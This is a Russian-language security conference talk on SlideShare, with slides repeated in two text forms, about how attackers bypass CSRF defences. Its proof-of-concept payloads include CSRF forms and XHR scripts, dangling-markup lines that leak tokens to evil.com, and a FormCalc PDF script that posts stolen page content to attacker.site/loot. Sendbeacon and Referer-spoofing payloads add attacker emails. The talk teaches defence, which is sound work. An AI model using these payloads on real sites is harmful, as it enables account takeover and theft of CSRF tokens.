SlideShare a Scribd company logo
CSRF-уязвимости все
еще актуальны:
как атакующие обходят
CSRF-защиту в вашем
веб-приложении
Михаил Егоров
Дисклеймер
ИНФОРМАЦИЯ в данной
презентации является сугубо
мнением автора …
Crazy Russian hackers
О себе
AppSec Engineer @ Ingram Micro Cloud
Security researcher & Bug hunter
@0ang3el
Почему CSRF-атаки работают?
Веб-приложение использует cookies для управления сессией
пользователя!
Браузер автоматически отправляет cookies вместе с HTTP-запросом,
даже cross-origin
🍪 Cookies 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪
Небольшой фрагмент данных, отправленный веб-сервером и
хранимый на компьютере пользователя, браузер всякий раз
пересылает этот фрагмент данных веб-серверу в составе HTTP-
запроса
Сервер
Клиент
Set-Cookie: name=value; expires=date; path=/; domain=.example.org;
secure; httponly;
Cookie: name=newvalue;
🍪 Cookies 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪
До сих пор используются многими веб-приложениями для
управления сессией пользователя
Впервые сookies появились в браузере Netscape в 1994 году
Классическая CSRF-атака
POST /user/address/shipping HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://example.com
Cookie: JSESSIONID=728FAA7F23EE00B0EDD56D1E220C011E.jvmroute8081;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
city=Moscow&street=Prospekt+Mira&zip=12345
Классическая CSRF-атака
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://example.com/user/address/shipping"
method="POST">
<input type="hidden" name="city" value="Moscow" />
<input type="hidden" name="street" value="Prospekt&#32;Mira" />
<input type="hidden" name="zip" value="12345" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
https://attacker.com/csrf-form.html
Классическая CSRF-атака
<script>
var request = new XMLHttpRequest();
var data = 'city=Moscow&street=Prosperkt+Mira&zip=12345';
request.open('POST', 'https://example.com/user/address/shipping', true);
request.withCredentials = true; // INCLUDE COOKIES
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.send(data);
</script>
https://attacker.com/csrf-xhr.html
Классическая CSRF-атака
https://example.com
https://attacker.com
csrf-xhr.html
Классическая CSRF-атака
https://example.com
https://attacker.com
https:/attacker.com/csrf-xhr.html
csrf-xhr.html
Классическая CSRF-атака
https://example.com
https://attacker.com
https:/attacker.com/csrf-xhr.html
POST /user/address/shipping HTTP/1.1
HOST: example.com
Cookie: JSESSIONID=728F...
История CSRF-атак
Эксплуатируются с 2001 года
Публичные CSRF-уязвимости в популярных проектах 2008-2012:
1. YouTube
2. The New York Times
3. Badoo
4. Slideshare
5. Vimeo
6. Hulu
7. КиноПоиск
8. …
Насколько серьезны CSRF-уязвимости
Зависит от критичности уязвимого action’a
 …
 Account takeover (смена email)
 Privilege Escalation (создание нового пользователя с высокими
правами)
 Remote code execution (эксплуатация command injection в
админке)
Насколько серьезны CSRF-уязвимости
OWASP Top 10 - https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
не вошла в Top 10 – 2017 (RC2)
A8 – 2017 (RC1)
A8 – 2013
А5 – 2010
Насколько серьезны CSRF-уязвимости
Bugcrowd VRT - https://bugcrowd.com/vulnerability-rating-taxonomy
* VRT – Vulnerability Rating Taxonomy
Application-wide CSRF – P2 (High)
Популярные варианты защиты от CSRF
 CSRF token
 Double submit cookie
 Content-Type based protection
 Referer-based protection
 Password confirmation (websudo)
 SameSite Cookies (Chrome, Opera)
You shall not pass!!!
You shall not PASS!!!
Популярные варианты защиты от CSRF
 CSRF token (1 из 6)
 Уникальный и высокоэнтропийный токен для каждой
пользовательской сессии
 Токен встав��яется в DOM или доступен через API
 Пользователь должен отправить токен в параметре или
хэдере запроса
 Атакующий не знает токен → классическая CSRF-атака не
работает
Популярные варианты защиты от CSRF
 Double submit cookie (2 из 6)
 Уникальный и высокоэнтропийный токен для каждой
пользовательской сессии помещается в cookies
 Пользователь должен отправить одинаковые значения в
cookies и в параметре запроса
 Атакующий не может изменить cookies → классическая CSRF-
атака не работает
Популярные варианты защиты от CSRF
 Content-Type based protection (3 из 6)
 Пользователь должен отправить запрос с определенным
заголовком Content-Type, например
application/json
 Браузер через форму или XHR не может отправить
произвольный Content-Type cross-origin → классическая CSRF-
атака не работает
Популярные варианты защиты от CSRF
 Referer-based protection (4 из 6)
 Пользователь должен отправить запрос с определенным
заголовком Referer
 Браузер не может отправить произвольный Referer через
форму или XHR → классическая CSRF-атака не работает
Популярные варианты защиты от CSRF
 Password confirmation / websudo (5 из 6)
 Действие либо доступ к критичному функционалу
подтверждается вводом пароля (секрета)
 Атакующий не знает пароля → классическая CSRF-атака не
работает
Популярные варианты защиты от CSRF
 SameSite Cookies в Chrome, Opera (6 из 6)
 Дополнительный атрибут у cookies – samesite (значения lax и
strict)
 Браузер не отправляет cookies, если запрос осуществляется с
сайта атакующего → классическая CSRF-атака не работает
К сожалению… нередко бывает так
«Магия» обхода CSRF-защиты
 XSS
 Dangling markup
 Vulnerable subdomains
 Cookie injection
 Change Content-Type
 Non-simple Content-Type
 Bad PDF
 Referer spoof
А ты думал, я с тобой
шутки шучу
Сценарий обхода – XSS (1 из 8)
XSS (Cross-Site Scripting) в приложении позволяет обойти
большинство типов CSRF-защиты!
Просто
смирись c
этим!!!
Когда есть HTML injection, но нет XSS (например, есть
Content Security Policy - CSP)
Атакующий может заполучить CSRF-токен через Dangling
markup injection
Сценарий обхода – Dangling markup (2 из 8)
<img src='https://evil.com/log_csrf?html=
<form action='http://evil.com/log_csrf'><textarea>
Сценарий обхода – уязвимый субдомен (3 из 8)
Один из поддоменов foo.example.com уязвим к subdomain
takeover или XSS
Атакующий сможет обойти следующие типы CSRF-защиты:
 CSRF tokens
 Double submit cookie
 Content-Type based protection
Приложение использует CORS (Cross-Origin Resource Sharing)
для междоменного взаимодействия
Атакующий сможет прочитать CSRF-токен
Access-Control-Allow-Origin: https://foo.example.com
Access-Control-Allow-Credentials: true
Сценарий обхода – уязвимый субдомен (3 из 8)
На основном домене есть crossdomain.xml который разрешает
взаимодействие для субдоменов
Атакующий может загрузить файл с JS на foo.example.com
Пример - https://ahussam.me/Amazon-leaking-csrf-token-using-service-worker/
<cross-domain-policy>
<allow-access-from domain="*.example.com" />
</cross-domain-policy>
Сценарий обхода – уязвимый субдомен (3 из 8)
Атакующий может использовать Service Worker для субдомена
foo.example.com
Через SWF атакующий сможет прочитать CSRF-токен!
var url = "https://attacker.com/bad.swf";
onfetch = (e) => {
e.respondWith(fetch(url);
}
Сценарий обхода – уязвимый субдомен (3 из 8)
Атакующий сможет установить cookie для родительского домена на
интересующий path
Браузер выберет cookie с самым длинным path
Тем самым атакующий сможет обойти защиту Double submit cookie
Сценарий обхода – уязвимый субдомен (3 из 8)
Сценарий обхода – bad PDF (4 из 8)
PDF plugin от Adobe поддерживает FormCalc
PDF plugin от Adobe работает в IE11 и Firefox ESR
В FormCalc есть методы get() и post()
Атакующий получает CSRF-токен жертвы
Сценарий обхода – bad PDF (4 из 8)
Допустим, у нас есть возможность загрузить PDF в веб-
приложение (можно загрузить PDF как файл другого формата – картинкy )
У приложения есть API на интересующем домене, которое
позволяет получать содержимое загруженного PDF
Сценарий обхода – bad PDF (4 из 8)
<h1>Nothing to see here!</h1>
<embed src="https://example.com/shard/x1/sh/leak.pdf" width="0" height="0"
type='application/pdf'>
https://attacker.com/csrf-badpdf.html
Сценарий обхода – bad PDF (4 из 8)
<script contentType='application/x-formcalc'>
var content = GET("https://example.com/Settings.action");
Post("http://attacker.site/loot",content,"text/plain");
</script>
leak.pdf
Сценарий обхода – bad PDF (4 из 8)
Фокус в том, что для PDF plugin не важен Content-Type и
другие заголовки (например, Content-Disposition)!
Сценарий обхода – cookie injection (5 из 8)
Атакующий в результате сookie injection сможет обойти
защиту Double submit cookie
Варианты cookie injection
 CRLF injection
 Особенности обработки cookie браузером – comma-separated
cookies (Safari)
 Баги браузера (например, CVE-2016-9078 в FF)
Сценарий обхода – change Content-Type (6 из 8)
Некоторые считают, что нестандартный формат данных в
теле POST-запроса спасает от CSRF !?
SRSLY?
POST /user/add/note HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://example.com
Cookie: JSESSIONID=728FAA7F23EE00B0EDD56D1E220C011E.jvmroute8081;
Connection: close
Content-Type: application/x-thrift
Content-Length: 43
�addNote � � r �
Сценарий обхода – change Content-Type (6 из 8)
<script>
var request = new XMLHttpRequest();
request.open('POST', 'https://example.com/add/note', true);
request.withCredentials = true;
request.setRequestHeader("Content-type", "text/plain");
var data = ['0x80','0x01','0x00','0x01','0x00','0x00','0x00','0x07','0x67','0x65','0x74','0x55',
'0x73','0x65','0x72','0x00','0x00','0x00', '0x00','0x0b','0x00','0x01','0x00','0x00','0x00','0x00','0x00'];
var bin = new Uint8Array(data.length);
for (var i = 0; i < data.length; i++) {
bin[i] = parseInt(data[i], 16);
}
request.send(bin);
</script>
https://attacker.com/csrf-thrift.html
Сценарий обхода – change Content-Type (6 из 8)
Сценарий обхода – non-simple Content-Type (7 из 8)
Валидные значения content type, которые можно
отправить из HTML-формы и через XHR без OPTIONS
preflight - aka simple content types
 text/plain
 application/x-www-form-urlencoded
 multipart/form-data
Как отправить произвольный Content-Type:
 Баги в браузерах (например, Navigator.sendBeacon)
 Flash plugin + 307 redirect
 PDF plugin + 307 redirect
 Некоторые фреймворки поддерживают URL-
параметры для переопределения Content-Type
http://cxf.apache.org/docs/jax-rs.html#JAX-RS-Debugging
Сценарий обхода – non-simple Content-Type (7 из 8)
Баг в Chrome - https://bugs.chromium.org/p/chromium/issues/detail?id=490015
Можно было эксплуатировать с 2015 по 07.2017   
Navigator.sendBeacon() позволял отправить POST-запрос с
любым Content-Type на другой origin
Сценарий обхода – non-simple Content-Type (7 из 8)
<script>
function jsonreq() {
var data = '{"action":"add-user-email","Email":"attacker@evil.com"}';
var blob = new Blob([data], {type : 'application/json;charset=utf-8'});
navigator.sendBeacon('https://example.com/home/rpc', blob );
}
jsonreq();
</script>
https://attacker.com/csrf-sendbeacon.html
Сценарий обхода – non-simple Content-Type (7 из 8)
Как это работает - http://research.rootme.in/forging-content-type-header-with-flash/
Сценарий обхода – non-simple Content-Type (7 из 8)
Сценарий обхода – spoof Referer (8 из 8)
Баг в Edge - https://www.brokenbrowser.com/referer-spoofing-patch-bypass/
Еще работает 
Ho работает только для GET-запросов 
Сценарий обхода – spoof Referer (8 из 8)
<script contentType='application/x-formcalc'>
Post("http://attacker.com:8888/redirect",
"{""action"":""add-user-email"",""Email"":""attacker@evil.com""}",
"application/json&#x0a;&#x0d;Referer;&#x20;http://example.com")
</script>
Сценарий обхода – spoof Referer (8 из 8)
В бэкенд будет отправлен header
Некоторые серверы воспринимают пробел как конец имени
HTTP-заголовка (например, WildFly или Jboss) – т.е. двоеточие `:`
Referer http://example.com
Имя :Значение
Referer http://example.com
Имя :Значение
Обход CSRF-защиты – Итог
CSRF Tokens
Double Submit
Cookie
CT-based Referer-based SameSite Cookies
XSS All All All All All
Dangling markup All - - - All*
Subdomain issues All All All - All*
Cookie Injection - All - - All*
Change CT - - All - All*
Non-simple CT - - All with Flash plugin,
IE11/FF ESR with Pdf
plugin
- All*
Bad Pdf IE11/FF ESR with
Pdf plugin
- IE11/FF ESR with Pdf
plugin
- All*
Spoof Referer - - - IE11/FF ESR with Pdf
plugin, Edge
All*
All – works for all browsers
All* – All browsers except browsers that support SameSite Cookies (Chrome & Opera)
Как все-таки правильно защититься от CSRF
Не использовать cookies для управления пользовательской сессией
Как все-таки правильно защититься от CSRF
… eсли не можете отказаться от cookies
 Моделируйте угрозы и проверяйте реализацию (см. Итоговую
таблицу)
 Имплементируйте SameSite Cookies
 Комбинируйте различные CSRF-защиты – defense in depth
 Спрашивайте у пользователя пароль для выполнения критичных
action’ов
 Отдавайте загружаемые файлы с отдельного домена
Q&A

More Related Content

CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем веб-приложении

  • 1. CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем веб-приложении Михаил Егоров
  • 2. Дисклеймер ИНФОРМАЦИЯ в данной презентации является сугубо мнением автора … Crazy Russian hackers
  • 3. О себе AppSec Engineer @ Ingram Micro Cloud Security researcher & Bug hunter @0ang3el
  • 4. Почему CSRF-атаки работают? Веб-приложение использует cookies для управления сессией пользователя! Браузер автоматически отправляет cookies вместе с HTTP-запросом, даже cross-origin
  • 5. 🍪 Cookies 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 Небольшой фрагмент данных, отправленный веб-сервером и хранимый на компьютере пользователя, браузер всякий раз пересылает этот фрагмент данных веб-серверу в составе HTTP- запроса Сервер Клиент Set-Cookie: name=value; expires=date; path=/; domain=.example.org; secure; httponly; Cookie: name=newvalue;
  • 6. 🍪 Cookies 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 До сих пор используются многими веб-приложениями для управления сессией пользователя Впервые сookies появились в браузере Netscape в 1994 году
  • 7. Классическая CSRF-атака POST /user/address/shipping HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://example.com Cookie: JSESSIONID=728FAA7F23EE00B0EDD56D1E220C011E.jvmroute8081; Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 43 city=Moscow&street=Prospekt+Mira&zip=12345
  • 8. Классическая CSRF-атака <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://example.com/user/address/shipping" method="POST"> <input type="hidden" name="city" value="Moscow" /> <input type="hidden" name="street" value="Prospekt&#32;Mira" /> <input type="hidden" name="zip" value="12345" /> <input type="submit" value="Submit request" /> </form> </body> </html> https://attacker.com/csrf-form.html
  • 9. Классическая CSRF-атака <script> var request = new XMLHttpRequest(); var data = 'city=Moscow&street=Prosperkt+Mira&zip=12345'; request.open('POST', 'https://example.com/user/address/shipping', true); request.withCredentials = true; // INCLUDE COOKIES request.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); request.send(data); </script> https://attacker.com/csrf-xhr.html
  • 13. История CSRF-атак Эксплуатируются с 2001 года Публичные CSRF-уязвимости в популярных проектах 2008-2012: 1. YouTube 2. The New York Times 3. Badoo 4. Slideshare 5. Vimeo 6. Hulu 7. КиноПоиск 8. …
  • 14. Насколько серьезны CSRF-уязвимости Зависит от критичности уязвимого action’a  …  Account takeover (смена email)  Privilege Escalation (создание нового пользователя с высокими правами)  Remote code execution (эксплуатация command injection в админке)
  • 15. Насколько серьезны CSRF-уязвимости OWASP Top 10 - https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project не вошла в Top 10 – 2017 (RC2) A8 – 2017 (RC1) A8 – 2013 А5 – 2010
  • 16. Насколько серьезны CSRF-уязвимости Bugcrowd VRT - https://bugcrowd.com/vulnerability-rating-taxonomy * VRT – Vulnerability Rating Taxonomy Application-wide CSRF – P2 (High)
  • 17. Популярные варианты защиты от CSRF  CSRF token  Double submit cookie  Content-Type based protection  Referer-based protection  Password confirmation (websudo)  SameSite Cookies (Chrome, Opera) You shall not pass!!! You shall not PASS!!!
  • 18. Популярные варианты защиты от CSRF  CSRF token (1 из 6)  Уникальный и высокоэнтропийный токен для каждой пользовательской сессии  Токен вставляется в DOM или доступен через API  Пользователь должен отправить токен в параметре или хэдере запроса  Атакующий не знает токен → классическая CSRF-атака не работает
  • 19. Популярные варианты защиты от CSRF  Double submit cookie (2 из 6)  Уникальный и высокоэнтропийный токен для каждой пользовательской сессии помещается в cookies  Пользователь должен отправить одинаковые значения в cookies и в параметре запроса  Атакующий не может изменить cookies → классическая CSRF- атака не работает
  • 20. Популярные варианты защиты от CSRF  Content-Type based protection (3 из 6)  Пользователь должен отправить запрос с определенным заголовком Content-Type, например application/json  Браузер через форму или XHR не может отправить произвольный Content-Type cross-origin → классическая CSRF- атака не работает
  • 21. Популярные варианты защиты от CSRF  Referer-based protection (4 из 6)  Пользователь должен отправить запрос с определенным заголовком Referer  Браузер не может отправить произвольный Referer через форму или XHR → классическая CSRF-атака не работает
  • 22. Популярные варианты защиты от CSRF  Password confirmation / websudo (5 из 6)  Действие либо доступ к критичному функционалу подтверждается вводом пароля (секрета)  Атакующий не знает пароля → классическая CSRF-атака не работает
  • 23. Популярные варианты защиты от CSRF  SameSite Cookies в Chrome, Opera (6 из 6)  Дополнительный атрибут у cookies – samesite (значения lax и strict)  Браузер не отправляет cookies, если запрос осуществляется с сайта атакующего → классическая CSRF-атака не работает
  • 25. «Магия» обхода CSRF-защиты  XSS  Dangling markup  Vulnerable subdomains  Cookie injection  Change Content-Type  Non-simple Content-Type  Bad PDF  Referer spoof А ты думал, я с тобой шутки шучу
  • 26. Сценарий обхода – XSS (1 из 8) XSS (Cross-Site Scripting) в приложении позволяет обойти большинство типов CSRF-защиты! Просто смирись c этим!!!
  • 27. Когда есть HTML injection, но нет XSS (например, есть Content Security Policy - CSP) Атакующий может заполучить CSRF-токен через Dangling markup injection Сценарий обхода – Dangling markup (2 из 8) <img src='https://evil.com/log_csrf?html= <form action='http://evil.com/log_csrf'><textarea>
  • 28. Сценарий обхода – уязвимый субдомен (3 из 8) Один из поддоменов foo.example.com уязвим к subdomain takeover или XSS Атакующий сможет обойти следующие типы CSRF-защиты:  CSRF tokens  Double submit cookie  Content-Type based protection
  • 29. Приложение использует CORS (Cross-Origin Resource Sharing) для междоменного взаимодействия Атакующий сможет прочитать CSRF-токен Access-Control-Allow-Origin: https://foo.example.com Access-Control-Allow-Credentials: true Сценарий обхода – уязвимый субдомен (3 из 8)
  • 30. На основном домене есть crossdomain.xml который разрешает взаимодействие для субдоменов Атакующий может загрузить файл с JS на foo.example.com Пример - https://ahussam.me/Amazon-leaking-csrf-token-using-service-worker/ <cross-domain-policy> <allow-access-from domain="*.example.com" /> </cross-domain-policy> Сценарий обхода – уязвимый субдомен (3 из 8)
  • 31. Атакующий может использовать Service Worker для субдомена foo.example.com Через SWF атакующий сможет прочитать CSRF-токен! var url = "https://attacker.com/bad.swf"; onfetch = (e) => { e.respondWith(fetch(url); } Сценарий обхода – уязвимый субдомен (3 из 8)
  • 32. Атакующий сможет установить cookie для родительского домена на интересующий path Браузер выберет cookie с самым длинным path Тем самым атакующий сможет обойти защиту Double submit cookie Сценарий обхода – уязвимый субдомен (3 из 8)
  • 33. Сценарий обхода – bad PDF (4 из 8) PDF plugin от Adobe поддерживает FormCalc PDF plugin от Adobe работает в IE11 и Firefox ESR В FormCalc есть методы get() и post() Атакующий получает CSRF-токен жертвы
  • 34. Сценарий обхода – bad PDF (4 из 8) Допустим, у нас есть возможность загрузить PDF в веб- приложение (можно загрузить PDF как файл другого формата – картинкy ) У приложения есть API на интересующем домене, которое позволяет получать содержимое загруженного PDF
  • 35. Сценарий обхода – bad PDF (4 из 8) <h1>Nothing to see here!</h1> <embed src="https://example.com/shard/x1/sh/leak.pdf" width="0" height="0" type='application/pdf'> https://attacker.com/csrf-badpdf.html
  • 36. Сценарий обхода – bad PDF (4 из 8) <script contentType='application/x-formcalc'> var content = GET("https://example.com/Settings.action"); Post("http://attacker.site/loot",content,"text/plain"); </script> leak.pdf
  • 37. Сценарий обхода – bad PDF (4 из 8) Фокус в том, что для PDF plugin не важен Content-Type и другие заголовки (например, Content-Disposition)!
  • 38. Сценарий обхода – cookie injection (5 из 8) Атакующий в результате сookie injection сможет обойти защиту Double submit cookie Варианты cookie injection  CRLF injection  Особенности обработки cookie браузером – comma-separated cookies (Safari)  Баги браузера (например, CVE-2016-9078 в FF)
  • 39. Сценарий обхода – change Content-Type (6 из 8) Некоторые считают, что нестандартный формат данных в теле POST-запроса спасает от CSRF !? SRSLY?
  • 40. POST /user/add/note HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://example.com Cookie: JSESSIONID=728FAA7F23EE00B0EDD56D1E220C011E.jvmroute8081; Connection: close Content-Type: application/x-thrift Content-Length: 43 �addNote � � r � Сценарий обхода – change Content-Type (6 из 8)
  • 41. <script> var request = new XMLHttpRequest(); request.open('POST', 'https://example.com/add/note', true); request.withCredentials = true; request.setRequestHeader("Content-type", "text/plain"); var data = ['0x80','0x01','0x00','0x01','0x00','0x00','0x00','0x07','0x67','0x65','0x74','0x55', '0x73','0x65','0x72','0x00','0x00','0x00', '0x00','0x0b','0x00','0x01','0x00','0x00','0x00','0x00','0x00']; var bin = new Uint8Array(data.length); for (var i = 0; i < data.length; i++) { bin[i] = parseInt(data[i], 16); } request.send(bin); </script> https://attacker.com/csrf-thrift.html Сценарий обхода – change Content-Type (6 из 8)
  • 42. Сценарий обхода – non-simple Content-Type (7 из 8) Валидные значения content type, которые можно отправить из HTML-формы и через XHR без OPTIONS preflight - aka simple content types  text/plain  application/x-www-form-urlencoded  multipart/form-data
  • 43. Как отправить произвольный Content-Type:  Баги в браузерах (например, Navigator.sendBeacon)  Flash plugin + 307 redirect  PDF plugin + 307 redirect  Некоторые фреймворки поддерживают URL- параметры для переопределения Content-Type http://cxf.apache.org/docs/jax-rs.html#JAX-RS-Debugging Сценарий обхода – non-simple Content-Type (7 из 8)
  • 44. Баг в Chrome - https://bugs.chromium.org/p/chromium/issues/detail?id=490015 Можно было эксплуатировать с 2015 по 07.2017    Navigator.sendBeacon() позволял отправить POST-запрос с любым Content-Type на другой origin Сценарий обхода – non-simple Content-Type (7 из 8)
  • 45. <script> function jsonreq() { var data = '{"action":"add-user-email","Email":"attacker@evil.com"}'; var blob = new Blob([data], {type : 'application/json;charset=utf-8'}); navigator.sendBeacon('https://example.com/home/rpc', blob ); } jsonreq(); </script> https://attacker.com/csrf-sendbeacon.html Сценарий обхода – non-simple Content-Type (7 из 8)
  • 46. Как это работает - http://research.rootme.in/forging-content-type-header-with-flash/ Сценарий обхода – non-simple Content-Type (7 из 8)
  • 47. Сценарий обхода – spoof Referer (8 из 8) Баг в Edge - https://www.brokenbrowser.com/referer-spoofing-patch-bypass/ Еще работает  Ho работает только для GET-запросов 
  • 48. Сценарий обхода – spoof Referer (8 из 8) <script contentType='application/x-formcalc'> Post("http://attacker.com:8888/redirect", "{""action"":""add-user-email"",""Email"":""attacker@evil.com""}", "application/json&#x0a;&#x0d;Referer;&#x20;http://example.com") </script>
  • 49. Сценарий обхода – spoof Referer (8 из 8) В бэкенд будет отправлен header Некоторые серверы воспринимают пробел как конец имени HTTP-заголовка (например, WildFly или Jboss) – т.е. двоеточие `:` Referer http://example.com Имя :Значение Referer http://example.com Имя :Значение
  • 50. Обход CSRF-защиты – Итог CSRF Tokens Double Submit Cookie CT-based Referer-based SameSite Cookies XSS All All All All All Dangling markup All - - - All* Subdomain issues All All All - All* Cookie Injection - All - - All* Change CT - - All - All* Non-simple CT - - All with Flash plugin, IE11/FF ESR with Pdf plugin - All* Bad Pdf IE11/FF ESR with Pdf plugin - IE11/FF ESR with Pdf plugin - All* Spoof Referer - - - IE11/FF ESR with Pdf plugin, Edge All* All – works for all browsers All* – All browsers except browsers that support SameSite Cookies (Chrome & Opera)
  • 51. Как все-таки правильно защититься от CSRF Не использовать cookies для управления пользовательской сессией
  • 52. Как все-таки правильно защититься от CSRF … eсли не можете отказаться от cookies  Моделируйте угрозы и проверяйте реализацию (см. Итоговую таблицу)  Имплементируйте SameSite Cookies  Комбинируйте различные CSRF-защиты – defense in depth  Спрашивайте у пользователя пароль для выполнения критичных action’ов  Отдавайте загружаемые файлы с отдельного домена
  • 53. Q&A